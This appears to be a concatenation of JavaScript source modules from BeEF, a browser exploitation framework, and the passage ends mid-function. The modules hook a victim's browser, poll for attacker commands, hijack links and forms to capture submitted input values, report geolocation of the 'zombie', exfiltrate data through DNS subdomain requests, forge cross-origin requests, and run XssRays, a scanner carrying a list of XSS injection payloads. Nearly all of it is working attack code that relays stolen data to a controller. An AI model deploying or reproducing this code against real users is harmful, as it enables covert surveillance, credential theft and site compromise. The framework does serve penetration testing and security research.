- }
- }
- };
- /**
- * Starts the polling mechanism, and initialize various components:
- * - browser details (see browser.js) are sent back to the "/init" handler
- * - the polling starts (checks for new commands, and execute them)
- * - the logger component is initialized (see logger.js)
- * - the Autorun Engine is initialized (see are.js)
- */
- function beef_init() {
- if (!beef.pageIsLoaded) {
- beef.pageIsLoaded = true;
- beef.net.browser_details();
- if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
- setTimeout(function(){
- beef.websocket.start();
- beef.updater.execute_commands();
- beef.logger.start();
- }, parseInt(beef.websocket.ws_connect_timeout));
- }else {
- beef.net.browser_details();
- beef.updater.execute_commands();
- beef.updater.check();
- beef.logger.start();
- }
- }
- }
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- beef.mitb = {
- cid:null,
- curl:null,
- init:function (cid, curl) {
- beef.mitb.cid = cid;
- beef.mitb.curl = curl;
- /*Override open method to intercept ajax request*/
- var hook_file = "/hook.js";
- if (window.XMLHttpRequest && !(window.ActiveXObject)) {
- beef.mitb.sniff("Method XMLHttpRequest.open override");
- (function (open) {
- XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
- // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
- // or a request initiated by the MiTB itself.
- if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
- open.call(this, method, url, async, true);
- }else {
- var portRegex = new RegExp(":[0-9]+");
- var portR = portRegex.exec(url);
- var requestPort;
- if (portR != null) { requestPort = portR[0].split(":")[1]; }
- //GET request
- if (method == "GET") {
- //GET request -> cross-origin
- if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
- beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
- window.open(url);
- }else { //GET request -> same-origin
- beef.mitb.sniff("GET [Ajax Request]: " + url);
- if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
- var title = "";
- if (document.getElementsByTagName("title").length == 0) {
- title = document.title;
- } else {
- title = document.getElementsByTagName("title")[0].innerHTML;
- }
- // write the url of the page
- history.pushState({ Be:"EF" }, title, url);
- }
- }
- }else{
- //POST request
- beef.mitb.sniff("POST ajax request to: " + url);
- open.call(this, method, url, async, true);
- }
- }
- };
- })(XMLHttpRequest.prototype.open);
- }
- },
- // Initializes the hook on anchors and forms.
- hook:function () {
- beef.onpopstate.push(function (event) {
- beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
- });
- beef.onclose.push(function (event) {
- beef.mitb.endSession();
- });
- var anchors = document.getElementsByTagName("a");
- var forms = document.getElementsByTagName("form");
- var lis = document.getElementsByTagName("li");
- for (var i = 0; i < anchors.length; i++) {
- anchors[i].onclick = beef.mitb.poisonAnchor;
- }
- for (var i = 0; i < forms.length; i++) {
- beef.mitb.poisonForm(forms[i]);
- }
- for (var i = 0; i < lis.length; i++) {
- if (lis[i].hasAttribute("onclick")) {
- lis[i].removeAttribute("onclick");
- /*clear*/
- lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
- /*override*/
- }
- }
- },
- // Hooks anchors and prevents them from linking away
- poisonAnchor:function (e) {
- try {
- e.preventDefault;
- if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
- var title = "";
- if (document.getElementsByTagName("title").length == 0) {
- title = document.title;
- } else {
- title = document.getElementsByTagName("title")[0].innerHTML;
- }
- history.pushState({ Be:"EF" }, title, e.currentTarget);
- }
- } catch (e) {
- beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
- }
- return false;
- },
- // Hooks forms and prevents them from linking away
- poisonForm:function (form) {
- form.onsubmit = function (e) {
- // Collect <input> tags.
- var inputs = form.getElementsByTagName("input");
- var query = "";
- for (var i = 0; i < inputs.length; i++) {
- switch (inputs[i].type) {
- case "submit":
- break;
- default:
- query += inputs[i].name + "=" + inputs[i].value + '&';
- break;
- }
- }
- // Collect selected options from the form.
- var selects = form.getElementsByTagName("select");
- for (var i = 0; i < selects.length; i++) {
- var select = selects[i];
- query += select.name + "=" + select.options[select.selectedIndex].value + '&';
- }
- // We should be gathering 'submit' inputs as well, as there are
- // applications demanding this parameter.
- var submit = $j('*[type="submit"]', form);
- if(submit.length) {
- // Append name of the submit button/input.
- query += submit.attr('name') + '=' + submit.attr('value');
- }
- if(query.slice(-1) == '&') {
- query = query.slice(0, -1);
- }
- e.preventdefault;
- beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
- history.pushState({ Be:"EF" }, "", form.action);
- return false;
- }
- },
- // Fetches a hooked form with AJAX
- fetchForm:function (url, query, target) {
- try {
- var y = new XMLHttpRequest();
- y.open('POST', url, false, true);
- y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- y.onreadystatechange = function () {
- if (y.readyState == 4 && y.responseText != "") {
- target.innerHTML = y.responseText;
- setTimeout(beef.mitb.hook, 10);
- }
- };
- y.send(query);
- beef.mitb.sniff("POST: " + url + "[" + query + "]");
- return true;
- } catch (x) {
- return false;
- }
- },
- // Fetches a hooked link with AJAX
- fetch:function (url, target) {
- try {
- var y = new XMLHttpRequest();
- y.open('GET', url, false, true);
- y.onreadystatechange = function () {
- if (y.readyState == 4 && y.responseText != "") {
- target.innerHTML = y.responseText;
- setTimeout(beef.mitb.hook, 10);
- }
- };
- y.send(null);
- beef.mitb.sniff("GET: " + url);
- return true;
- } catch (x) {
- window.open(url);
- beef.mitb.sniff("GET [New Window]: " + url);
- return false;
- }
- },
- // Fetches a window.location=http://domainname.com and setting up history
- fetchOnclick:function (url) {
- try {
- var target = document.getElementsByTagName("html")[0];
- var y = new XMLHttpRequest();
- y.open('GET', url, false, true);
- y.onreadystatechange = function () {
- if (y.readyState == 4 && y.responseText != "") {
- var title = "";
- if (document.getElementsByTagName("title").length == 0) {
- title = document.title;
- }
- else {
- title = document.getElementsByTagName("title")[0].innerHTML;
- }
- history.pushState({ Be:"EF" }, title, url);
- target.innerHTML = y.responseText;
- setTimeout(beef.mitb.hook, 10);
- }
- };
- y.send(null);
- beef.mitb.sniff("GET: " + url);
- } catch (x) {
- // the link is cross-origin, so load the resource in a different tab
- window.open(url);
- beef.mitb.sniff("GET [New Window]: " + url);
- }
- },
- // Relays an entry to the framework
- sniff:function (result) {
- try {
- beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
- } catch (x) {
- }
- return true;
- },
- // Signals the Framework that the user has lost the hook
- endSession:function () {
- beef.mitb.sniff("Window closed.");
- }
- };
- beef.regCmp('beef.mitb');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.geolocation
- *
- * Provides functionalities to use the geolocation API.
- */
- beef.geolocation = {
- /**
- * check if browser supports the geolocation API
- */
- isGeolocationEnabled: function(){
- return !!navigator.geolocation;
- },
- /*
- * given latitude/longitude retrieves exact street position of the zombie
- */
- getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
- // fixes damned issues with jquery 1.5, like this one:
- // http://bugs.jquery.com/ticket/8084
- $j.ajaxSetup({
- jsonp: null,
- jsonpCallback: null
- });
- $j.ajax({
- error: function(xhr, status, error){
- beef.debug("[geolocation.js] openstreetmap error");
- beef.net.send(command_url, command_id, "latitude=" + latitude
- + "&longitude=" + longitude
- + "&osm=UNAVAILABLE"
- + "&geoLocEnabled=True");
- },
- success: function(data, status, xhr){
- beef.debug("[geolocation.js] openstreetmap success");
- var jsonResp = $j.parseJSON(data);
- beef.net.send(command_url, command_id, "latitude=" + latitude
- + "&longitude=" + longitude
- // + "&osm=" + encodeURI(jsonResp.display_name)
- + "&osm=tofix"
- + "&geoLocEnabled=True");
- },
- type: "get",
- url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
- latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
- });
- },
- /*
- * retrieve latitude/longitude using the geolocation API
- */
- getGeolocation: function (command_url, command_id){
- if (!navigator.geolocation) {
- beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
- return;
- }
- beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
- navigator.geolocation.getCurrentPosition( //note: this is an async call
- function(position){ // success
- var latitude = position.coords.latitude;
- var longitude = position.coords.longitude;
- beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
- beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
- }, function(error){ // failure
- beef.debug("[geolocation.js] error [%d] getting position", error.code);
- switch(error.code) // Returns 0-3
- {
- case 0:
- beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
- return;
- case 1:
- beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
- return;
- case 2:
- beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
- return;
- case 3:
- beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
- return;
- }
- beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
- },
- {enableHighAccuracy:true, maximumAge:30000, timeout:27000}
- );
- }
- }
- beef.regCmp('beef.geolocation');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net.dns
- *
- * request object structure:
- * + msgId: {Integer} Unique message ID for the request.
- * + domain: {String} Remote domain to retrieve the data.
- * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
- * + callback: {Function} Callback function to receive the number of requests sent.
- */
- beef.net.dns = {
- handler: "dns",
- send: function(msgId, data, domain, callback) {
- var encode_data = function(str) {
- var result="";
- for(i=0;i<str.length;++i) {
- result+=str.charCodeAt(i).toString(16).toUpperCase();
- }
- return result;
- };
- var encodedData = encodeURI(encode_data(data));
- beef.debug(encodedData);
- beef.debug("_encodedData_ length: " + encodedData.length);
- // limitations to DNS according to RFC 1035:
- // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
- // o Domain names are limited to 255 characters in length (including dots)
- // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
- // o Subdomains are limited to 63 characters in length (including the trailing dot)
- // DNS request structure:
- // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
- //max_length: 3. 3 . 3 . 63 . x
- // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
- // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
- var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
- var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
- var max_data_segment_length = 63; // by RFC
- beef.debug("max_data_segment_length: " + max_data_segment_length);
- var dom = document.createElement('b');
- String.prototype.chunk = function(n) {
- if (typeof n=='undefined') n=100;
- return this.match(RegExp('.{1,'+n+'}','g'));
- };
- var sendQuery = function(query) {
- var img = new Image;
- //img.src = "http://"+query;
- img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
- img.onload = function() { dom.removeChild(this); }
- img.onerror = function() { dom.removeChild(this); }
- dom.appendChild(img);
- //experimental
- //setTimeout(function(){dom.removeChild(img)},1000);
- };
- var segments = encodedData.chunk(max_data_segment_length);
- var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
- beef.debug(segments.length);
- for (var seq=1; seq<=segments.length; seq++) {
- sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
- }
- // callback - returns the number of queries sent
- if (!!callback) callback(segments.length);
- }
- };
- beef.regCmp('beef.net.dns');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- // beef.net.connection - wraps Mozilla's Network Information API
- // https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
- // https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
- beef.net.connection = {
- /* Returns the connection type
- * @example: beef.net.connection.type()
- * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
- * @return: {String} connection type or 'unknown'.
- **/
- type: function () {
- try {
- var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
- var type = connection.type;
- if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
- } catch(e) {
- beef.debug("Error retrieving connection type: " + e.message);
- return 'unknown';
- }
- },
- /* Returns the maximum downlink speed of the connection
- * @example: beef.net.connection.downlinkMax()
- * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
- * @return: {String} downlink max or 'unknown'.
- **/
- downlinkMax: function () {
- try {
- var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
- var max = connection.downlinkMax;
- if (max) return max; else return 'unknown';
- } catch(e) {
- beef.debug("Error retrieving connection downlink max: " + e.message);
- return 'unknown';
- }
- }
- };
- beef.regCmp('beef.net.connection');
- beef.net.cors = {
- handler: "cors",
- /**
- * Response Object - used in the beef.net.request callback
- */
- response:function () {
- this.status = null; // 500, 404, 200, 302, etc
- this.headers = null; // full response headers
- this.body = null; // full response body
- },
- /**
- * Make a cross-origin request using CORS
- *
- * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
- * @param url {String} url
- * @param data {String} request body
- * @param timeout {Integer} request timeout in milliseconds
- * @param callback {Function} function to callback on completion
- */
- request: function(method, url, data, timeout, callback) {
- var xhr;
- var response = new this.response;
- if (XMLHttpRequest) {
- xhr = new XMLHttpRequest();
- if ('withCredentials' in xhr) {
- xhr.open(method, url, true);
- xhr.timeout = parseInt(timeout, 10);
- xhr.onerror = function() {
- };
- xhr.onreadystatechange = function() {
- if (xhr.readyState === 4) {
- response.headers = this.getAllResponseHeaders()
- response.body = this.responseText;
- response.status = this.status;
- if (!!callback) {
- if (!!response) {
- callback(response);
- } else {
- callback('ERROR: No Response. CORS requests may be denied for this resource.')
- }
- }
- }
- };
- xhr.send(data);
- }
- } else if (typeof XDomainRequest != "undefined") {
- xhr = new XDomainRequest();
- xhr.open(method, url);
- xhr.onerror = function() {
- };
- xhr.onload = function() {
- response.headers = this.getAllResponseHeaders()
- response.body = this.responseText;
- response.status = this.status;
- if (!!callback) {
- if (!!response) {
- callback(response);
- } else {
- callback('ERROR: No Response. CORS requests may be denied for this resource.')
- }
- }
- };
- xhr.send(data);
- } else {
- if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
- }
- }
- };
- beef.regCmp('beef.net.cors');
- //
- // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net.requester
- *
- * request object structure:
- * + method: {String} HTTP method to use (GET or POST).
- * + host: {String} hostname
- * + query_string: {String} The query string is a part of the URL which is passed to the program.
- * + uri: {String} The URI syntax consists of a URI scheme name.
- * + headers: {Array} contain the operating parameters of the HTTP request.
- */
- beef.net.requester = {
- handler: "requester",
- send: function(requests_array) {
- for(var i=0; i<requests_array.length; i++){
- request = requests_array[i];
- if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
- beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
- beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
- function(res, requestid) { beef.net.send('/requester', requestid, {
- response_data: res.response_body,
- response_status_code: res.status_code,
- response_status_text: res.status_text,
- response_port_status: res.port_status,
- response_headers: res.headers});
- }
- );
- }
- }
- };
- beef.regCmp('beef.net.requester');
- /*
- * XSS Rays
- * Legal bit:
- * Do not remove this notice.
- * Copyright (c) 2009 by Gareth Heyes
- * Programmed for Microsoft
- * gareth --at-- businessinfo -dot- co |dot| uk
- * Version 0.5.5
- *
- * This license governs use of the accompanying software. If you use the software, you
- * accept this license. If you do not accept the license, do not use the software.
- * 1. Definitions
- * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
- * same meaning here as under U.S. copyright law.
- * A "contribution" is the original software, or any additions or changes to the software.
- * A "contributor" is any person that distributes its contribution under this license.
- * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
- * 2. Grant of Rights
- * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
- * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
- * 3. Conditions and Limitations
- * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
- * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
- * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
- * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
- * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
- */
- /*
- * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
- * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
- * if the vulnerability is triggered the JS code vector will contact back BeEF.
- * Other aspects of the original code have been simplified and improved.
- */
- beef.net.xssrays = {
- handler: "xssrays",
- completed:0,
- totalConnections:0,
- // BeEF variables
- xssraysScanId : 0,
- hookedBrowserSession: "",
- beefRayUrl: "",
- // the 3 following variables are overridden via BeEF, in the Scan Config XssRays sub-tab.
- crossDomain: false,
- debug:false,
- cleanUpTimeout:5000,
- //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
- vectors: [
- {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
- {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
- {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
- {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
- {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
- {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
- {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
- {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
- {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
- {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
- ],
- uniqueID: 0,
- rays: [],
- stack: [],
- // return true is the attack vector can be launched to the current browser type.
- checkBrowser:function(vector_array_index){
- var result = false;
- var browser_id = this.vectors[vector_array_index].browser;
- switch (browser_id){
- case "ALL":
- result = true;
- break;
- case "FF":
- if(beef.browser.isFF())result=true;
- break;
- case "IE":
- if(beef.browser.isIE())result=true;
- break;
- case "C":
- if(beef.browser.isC())result=true;
- break;
- case "S":
- if(beef.browser.isS())result=true;
- break;
- case "O":
- if(beef.browser.isO())result=true;
- break;
- default : result = false;
- }
- beef.net.xssrays.printDebug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
- return result;
- },
- // util function. Print string to the console only if the debug flag is on and the browser is not IE.
- printDebug:function(log) {
- if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
- beef.debug("[XssRays] " + log);
- }
- },
- // main function, where all starts :-)
- startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout, debug) {
- this.xssraysScanId = xssraysScanId;
- this.hookedBrowserSession = hookedBrowserSession;
- this.beefRayUrl = beefUrl + '/' + this.handler;
- beef.net.xssrays.printDebug("Using [" + this.beefRayUrl + "] handler to contact back BeEF");
- this.crossDomain = crossDomain;
- this.cleanUpTimeout = timeout;
- this.debug = debug;
- this.scan();
- beef.net.xssrays.printDebug("Starting scan");
- this.runJobs();
- },
- complete:function() {
- if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
- beef.net.xssrays.printDebug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
- $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
- } else {
- this.getNextJob();
- }
- },
- getNextJob:function() {
- var that = this;
- beef.net.xssrays.printDebug("getNextJob - this.stack.length [" + this.stack.length + "]");
- if (this.stack.length > 0) {
- var func = that.stack.shift();
- if (func) {
- that.completed++;
- func.call(that);
- }
- }else{ //nothing else to scan
- this.complete();
- }
- },
- scan:function() {
- this.scanLinks();
- this.scanForms();
- },
- scanPaths:function() {
- this.xss({type:'path'});
- return this;
- },
- scanForms: function() {
- this.xss({type:'form'});
- return this;
- },
- scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
- beef.net.xssrays.printDebug("scanLinks, document.links.length [" + document.links.length + "]");
- for (var i = 0; i < document.links.length; i++) {
- var url = document.links[i];
- if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
- beef.net.xssrays.printDebug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
- "\n url.pathname => " + url.pathname + "\n" +
- "url.search => " + url.search + "\n");
- this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
- search:url.search, type: 'url'});//scan each link & param
- } else {
- if (this.debug) {
- beef.net.xssrays.printDebug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString());
- beef.net.xssrays.printDebug('\nlocation :' + location.hostname.toString());
- }
- }
- }
- if (location.search.length > 0) {
- this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
- }
- return this;
- },
- xss:function(target) {
- switch (target.type) {
- case "url":
- if (target.search.length > 0) {
- target.search = target.search.slice(1);
- target.search = target.search.split(/&|&/);
- if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
- var pathname = "/" + target.pathname;
- }else{
- var pathname = target.pathname;
- }
- var params = {};
- for (var i = 0; i < target.search.length; i++) {
- target.search[i] = target.search[i].split('=');
- params[target.search[i][0]] = target.search[i][1];
- }
- for (var i = 0; i < this.vectors.length; i++) {
- // skip the current vector if it's not compatible with the hooked browser
- if (!this.checkBrowser(i)){
- beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
- continue;
- }
- if (!this.vectors[i].url) {
- continue;
- }
- if (this.vectors[i].url) {
- if (target.port == null || target.port == "") {
- beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
- this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
- } else {
- beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
- this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
- }
- }
- if (this.vectors[i].path) {
- if (target.port == null || target.port == "") {
- beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
- this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
- } else {
- beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
- this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
- }
- }
- }
- }
- break;
- case "form":
- var params = {};
- var paramsstring = "";
- for (var i = 0; i < document.forms.length; i++) {
- var action = document.forms[i].action || document.location;
- var method = document.forms[i].method.toUpperCase() === 'POST' ?
- 'POST' :
- 'GET';
- for (var j = 0; j < document.forms[i].elements.length; j++) {
- params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
- }
- for (var k = 0; k < this.vectors.length; k++) {
- // skip the current vector if it's not compatible with the hooked browser
- if (!this.checkBrowser(k)){
- beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
- continue;
- }
- if (!this.vectors[k].form) {
- continue;
- }
- if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
- if (this.debug) {
- beef.net.xssrays.printDebug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString());
- beef.net.xssrays.printDebug('location :' + this.host(location));
- }
- continue;
- }
- if (this.vectors[k].form) {
- if (method === 'GET') {
- beef.net.xssrays.printDebug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
- this.run(action, method, this.vectors[k], params, true);//params
- }
- else {
- beef.net.xssrays.printDebug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
- this.run(action, method, this.vectors[k], params, false);//params
- }
- }
- if (this.vectors[k].path) {
- beef.net.xssrays.printDebug("Starting XSS on FORM action URI PATH of [" + action + "], ");
- this.run(action, 'GET', this.vectors[k], null, true);//paths
- }
- }
- }
- break;
- }
- },
- host: function(url) {
- var host = url;
- host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
- ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
- : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
- ? ''
- : location.hostname.toString();
- return host;
- },
- fileName: function(url) {
- return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
- },
- urlEncode: function(str) {
- str = str.toString();
- str = str.replace(/"/g, '%22');
- str = str.replace(/&/g, '%26');
- str = str.replace(/\+/g, '%2b');
- return str;
- },
- // this is the main core function with the detection mechanisms...
- run: function(url, method, vector, params, urlencode) {
- this.stack.push(function() {
- //check if the URL end with / . In this case remove the last /, as it will be added later.
- // this check is needed only when checking for URI path injections
- if(url[url.length - 1] == "/" && params == null){
- url = url.substring(0, url.length - 2);
